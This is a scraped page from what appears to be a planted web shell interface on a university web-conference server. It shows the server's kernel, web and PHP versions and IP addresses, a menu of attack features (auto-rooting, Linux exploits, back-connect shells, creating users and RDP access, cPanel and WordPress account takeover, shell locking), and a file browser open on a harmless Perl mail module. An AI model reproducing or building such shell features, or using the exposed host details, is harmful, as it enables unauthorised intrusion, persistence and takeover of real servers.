Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.139.233.121
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Mail /
Mailer /
[ HOME SHELL ]
Name
Size
Permission
Action
qmail.pm
750
B
-rw-r--r--
rfc822.pm
809
B
-rw-r--r--
sendmail.pm
971
B
-rw-r--r--
smtp.pm
2.29
KB
-rw-r--r--
smtps.pm
2.27
KB
-rw-r--r--
testfile.pm
1.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : rfc822.pm
# Copyrights 1995-2019 by [Mark Overmeer <markov@cpan.org>]. # For other contributors see ChangeLog. # See the manual pages for details on the licensing terms. # Pod stripped from pm file by OODoc 2.02. # This code is part of the bundle MailTools. Meta-POD processed with # OODoc into POD and HTML manual-pages. See README.md for Copyright. # Licensed under the same terms as Perl itself. package Mail::Mailer::rfc822; use vars '$VERSION'; $VERSION = '2.21'; use base 'Mail::Mailer'; use strict; sub set_headers { my ($self, $hdrs) = @_; local $\ = ""; foreach (keys %$hdrs) { next unless m/^[A-Z]/; foreach my $h ($self->to_array($hdrs->{$_})) { $h =~ s/\n+\Z//; print $self "$_: $h\n"; } } print $self "\n"; # terminate headers } 1;
Close
